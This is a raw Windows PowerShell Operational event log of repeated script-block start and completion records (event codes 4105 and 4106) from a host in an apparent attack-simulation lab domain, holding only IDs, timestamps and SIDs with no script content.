TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043181
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043175
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043151
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043149
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043148
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
